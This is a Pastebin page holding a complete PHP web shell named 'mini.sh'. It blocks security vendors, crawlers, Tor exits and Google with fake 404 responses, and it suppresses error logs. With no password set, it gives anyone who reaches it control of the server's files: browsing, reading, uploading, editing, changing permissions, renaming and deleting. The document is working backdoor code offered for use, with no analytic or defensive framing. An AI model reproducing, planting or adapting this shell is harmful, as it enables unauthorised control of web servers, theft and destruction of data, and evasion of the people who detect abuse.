Advertisement
mathio3

mini.sh

Sep 1st, 2018
470
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.03 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  5. $blocked_words = array("above","google","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit", "msnbot","p3pwgdsn","netcraft","trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler");
  6. foreach($blocked_words as $word) {
  7.     if (substr_count($hostname, $word) > 0) {
  8.     header("HTTP/1.0 404 Not Found");
  9.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  10.  
  11.     }
  12. }
  13. $bannedIP = array("^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*", "^199.30.228.*");
  14. if(in_array($_SERVER['REMOTE_ADDR'],$bannedIP)) {
  15.      header('HTTP/1.0 404 Not Found');
  16.      exit();
  17. } else {
  18.      foreach($bannedIP as $ip) {
  19.           if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
  20.                header('HTTP/1.0 404 Not Found');
  21.                die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  22.           }
  23.      }
  24. }
  25.  
  26.  
  27.  
  28. //----------------------------------------------------------------------------------------------------------------//
  29. if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
  30. if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
  31. //----------------------------------------------------------------------------------------------------------------//
  32.  
  33. $auth_pass = "";
  34. $color = "#fff";
  35. $default_action = 'FilesMan';
  36. @define('SELF_PATH', __FILE__);
  37. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  38.     header('HTTP/1.0 404 Not Found');
  39.     exit;
  40. }
  41. @session_start();
  42. @error_reporting(0);
  43. @ini_set('error_log',NULL);
  44. @ini_set('log_errors',0);
  45. @ini_set('max_execution_time',0);
  46. @set_time_limit(0);
  47. @set_magic_quotes_runtime(0);
  48. @define('VERSION', '4.0.5');
  49. if( get_magic_quotes_gpc() ) {
  50.     function stripslashes_array($array) {
  51.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  52.     }
  53.     $_POST = stripslashes_array($_POST);
  54. }
  55. function printLogin() {
  56.         if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  57.           $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  58.           if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  59.           header('HTTP/1.0 404 Not Found');
  60.           exit;
  61.           }
  62.         }
  63.     die("<pre align=center><form method=post style='font-family:fantasy;'>Password: <input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;'><input type=submit value='>>' style='border:none;background-color:teal;color:#fff;'></form></pre>");
  64. }
  65. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  66.     if( empty( $auth_pass ) ||
  67.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  68.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  69.     else
  70.         printLogin();
  71. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  72.     $os = 'win';
  73. else
  74. ?>
  75.  <?php
  76. echo '<!DOCTYPE HTML>
  77. <HTML>
  78. <HEAD>
  79. <link href="" rel="stylesheet" type="text/css">
  80. <title></title>
  81. <style>
  82. body{
  83. font-family: "Roboto", cursive;
  84. background-color: #e6e6e6;
  85. text-shadow:0px 0px 1px #757575;
  86. }
  87. #content tr:hover{
  88. background-color: #636263;
  89. text-shadow:0px 0px 10px #fff;
  90. }
  91. #content .first{
  92. background-color: silver;
  93. }
  94. #content .first:hover{
  95. background-color: silver;
  96. text-shadow:0px 0px 1px #757575;
  97. }
  98. table{
  99. border: 1px #000000 dotted;
  100. }
  101. H1{
  102. font-family: "Rye", cursive;
  103. }
  104. a{
  105. color: #000;
  106. text-decoration: none;
  107. }
  108. a:hover{
  109. color: #fff;
  110. text-shadow:0px 0px 10px #ffffff;
  111. }
  112. input,select,textarea{
  113. border: 1px #000000 solid;
  114. -moz-border-radius: 5px;
  115. -webkit-border-radius:5px;
  116. border-radius:5px;
  117. }
  118. </style>
  119. </HEAD>
  120. <BODY>
  121.  
  122. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  123. <tr><td>dir : ';
  124. if(isset($_GET['path'])){
  125. $path = $_GET['path'];
  126. }else{
  127. $path = getcwd();
  128. }
  129. $path = str_replace('\\','/',$path);
  130. $paths = explode('/',$path);
  131.  
  132. foreach($paths as $id=>$pat){
  133. if($pat == '' && $id == 0){
  134. $a = true;
  135. echo '<a href="?path=/">/</a>';
  136. continue;
  137. }
  138. if($pat == '') continue;
  139. echo '<a href="?path=';
  140. for($i=0;$i<=$id;$i++){
  141. echo "$paths[$i]";
  142. if($i != $id) echo "/";
  143. }
  144. echo '">'.$pat.'</a>/';
  145. }
  146. echo '</td></tr><tr><td>';
  147. if(isset($_FILES['file'])){
  148. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  149. echo '<font color="green">File Ter-U :* </font><br />';
  150. }else{
  151. echo '
  152. </font><br />';
  153. }
  154. }
  155. echo '<form enctype="multipart/form-data" method="POST">
  156. P F : <input type="file" name="file" />
  157. <input type="submit" value="U" />
  158. </form>
  159. </td></tr>';
  160. if(isset($_GET['filesrc'])){
  161. echo "<tr><td>Current File : ";
  162. echo $_GET['filesrc'];
  163. echo '</tr></td></table><br />';
  164. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  165. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  166. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  167. if($_POST['opt'] == 'chmod'){
  168. if(isset($_POST['perm'])){
  169. if(chmod($_POST['path'],$_POST['perm'])){
  170. echo '<font color="green">Change Permission Done.</font><br />';
  171. }else{
  172. echo '<font color="red">Change Permission Error.</font><br />';
  173. }
  174. }
  175. echo '<form method="POST">
  176. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  177. <input type="hidden" name="path" value="'.$_POST['path'].'">
  178. <input type="hidden" name="opt" value="chmod">
  179. <input type="submit" value="Go" />
  180. </form>';
  181. }elseif($_POST['opt'] == 'rename'){
  182. if(isset($_POST['newname'])){
  183. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  184. echo '<font color="green">Change Name Done.</font><br />';
  185. }else{
  186. echo '<font color="red">Change Name Error.</font><br />';
  187. }
  188. $_POST['name'] = $_POST['newname'];
  189. }
  190. echo '<form method="POST">
  191. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  192. <input type="hidden" name="path" value="'.$_POST['path'].'">
  193. <input type="hidden" name="opt" value="rename">
  194. <input type="submit" value="Go" />
  195. </form>';
  196. }elseif($_POST['opt'] == 'edit'){
  197. if(isset($_POST['src'])){
  198. $fp = fopen($_POST['path'],'w');
  199. if(fwrite($fp,$_POST['src'])){
  200. echo '<font color="green">Edit File Done ~_^.</font><br />';
  201. }else{
  202. echo '<font color="red">Edit File Error ~_~.</font><br />';
  203. }
  204. fclose($fp);
  205. }
  206. echo '<form method="POST">
  207. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  208. <input type="hidden" name="path" value="'.$_POST['path'].'">
  209. <input type="hidden" name="opt" value="edit">
  210. <input type="submit" value="Go" />
  211. </form>';
  212. }
  213. echo '</center>';
  214. }else{
  215. echo '</table><br /><center>';
  216. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  217. if($_POST['type'] == 'dir'){
  218. if(rmdir($_POST['path'])){
  219. echo '<font color="green">Delete Dir Done.</font><br />';
  220. }else{
  221. echo '<font color="red">Delete Dir Error.</font><br />';
  222. }
  223. }elseif($_POST['type'] == 'file'){
  224. if(unlink($_POST['path'])){
  225. echo '<font color="green">Delete File Done.</font><br />';
  226. }else{
  227. echo '<font color="red">Delete File Error.</font><br />';
  228. }
  229. }
  230. }
  231. echo '</center>';
  232. $scandir = scandir($path);
  233. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  234. <tr class="first">
  235. <td><center>N</center></td>
  236. <td><center>S</center></td>
  237. <td><center>P</center></td>
  238. <td><center>O</center></td>
  239. </tr>';
  240.  
  241. foreach($scandir as $dir){
  242. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  243. echo "<tr>
  244. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  245. <td><center>--</center></td>
  246. <td><center>";
  247. if(is_writable("$path/$dir")) echo '<font color="green">';
  248. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  249. echo perms("$path/$dir");
  250. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  251.  
  252. echo "</center></td>
  253. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  254. <select name=\"opt\">
  255. <option value=\"\"></option>
  256. <option value=\"delete\">Delete</option>
  257. <option value=\"chmod\">Chmod</option>
  258. <option value=\"rename\">Rename</option>
  259. </select>
  260. <input type=\"hidden\" name=\"type\" value=\"dir\">
  261. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  262. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  263. <input type=\"submit\" value=\">\" />
  264. </form></center></td>
  265. </tr>";
  266. }
  267. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  268. foreach($scandir as $file){
  269. if(!is_file("$path/$file")) continue;
  270. $size = filesize("$path/$file")/1024;
  271. $size = round($size,3);
  272. if($size >= 1024){
  273. $size = round($size/1024,2).' MB';
  274. }else{
  275. $size = $size.' KB';
  276. }
  277.  
  278. echo "<tr>
  279. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  280. <td><center>".$size."</center></td>
  281. <td><center>";
  282. if(is_writable("$path/$file")) echo '<font color="green">';
  283. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  284. echo perms("$path/$file");
  285. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  286. echo "</center></td>
  287. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  288. <select name=\"opt\">
  289. <option value=\"\"></option>
  290. <option value=\"delete\">Delete</option>
  291. <option value=\"chmod\">Chmod</option>
  292. <option value=\"rename\">Rename</option>
  293. <option value=\"edit\">Edit</option>
  294. </select>
  295. <input type=\"hidden\" name=\"type\" value=\"file\">
  296. <input type=\"hidden\" name=\"name\" value=\"$file\">
  297. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  298. <input type=\"submit\" value=\">\" />
  299. </form></center></td>
  300. </tr>";
  301. }
  302. echo '</table>
  303. </div>';
  304. }
  305. echo '<center><br  <font color="green">1.0</font></center>
  306. </BODY>
  307. </HTML>';
  308. function perms($file){
  309. $perms = fileperms($file);
  310.  
  311. if (($perms & 0xC000) == 0xC000) {
  312. // Socket
  313. $info = 's';
  314. } elseif (($perms & 0xA000) == 0xA000) {
  315. // Symbolic Link
  316. $info = 'l';
  317. } elseif (($perms & 0x8000) == 0x8000) {
  318. // Regular
  319. $info = '-';
  320. } elseif (($perms & 0x6000) == 0x6000) {
  321. // Block special
  322. $info = 'b';
  323. } elseif (($perms & 0x4000) == 0x4000) {
  324. // Directory
  325. $info = 'd';
  326. } elseif (($perms & 0x2000) == 0x2000) {
  327. // Character special
  328. $info = 'c';
  329. } elseif (($perms & 0x1000) == 0x1000) {
  330. // FIFO pipe
  331. $info = 'p';
  332. } else {
  333. // Unknown
  334. $info = 'u';
  335. }
  336.  
  337. // Owner
  338. $info .= (($perms & 0x0100) ? 'r' : '-');
  339. $info .= (($perms & 0x0080) ? 'w' : '-');
  340. $info .= (($perms & 0x0040) ?
  341. (($perms & 0x0800) ? 's' : 'x' ) :
  342. (($perms & 0x0800) ? 'S' : '-'));
  343.  
  344. // Group
  345. $info .= (($perms & 0x0020) ? 'r' : '-');
  346. $info .= (($perms & 0x0010) ? 'w' : '-');
  347. $info .= (($perms & 0x0008) ?
  348. (($perms & 0x0400) ? 's' : 'x' ) :
  349. (($perms & 0x0400) ? 'S' : '-'));
  350.  
  351. // World
  352. $info .= (($perms & 0x0004) ? 'r' : '-');
  353. $info .= (($perms & 0x0002) ? 'w' : '-');
  354. $info .= (($perms & 0x0001) ?
  355. (($perms & 0x0200) ? 't' : 'x' ) :
  356. (($perms & 0x0200) ? 'T' : '-'));
  357.  
  358. return $info;
  359. }
  360. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement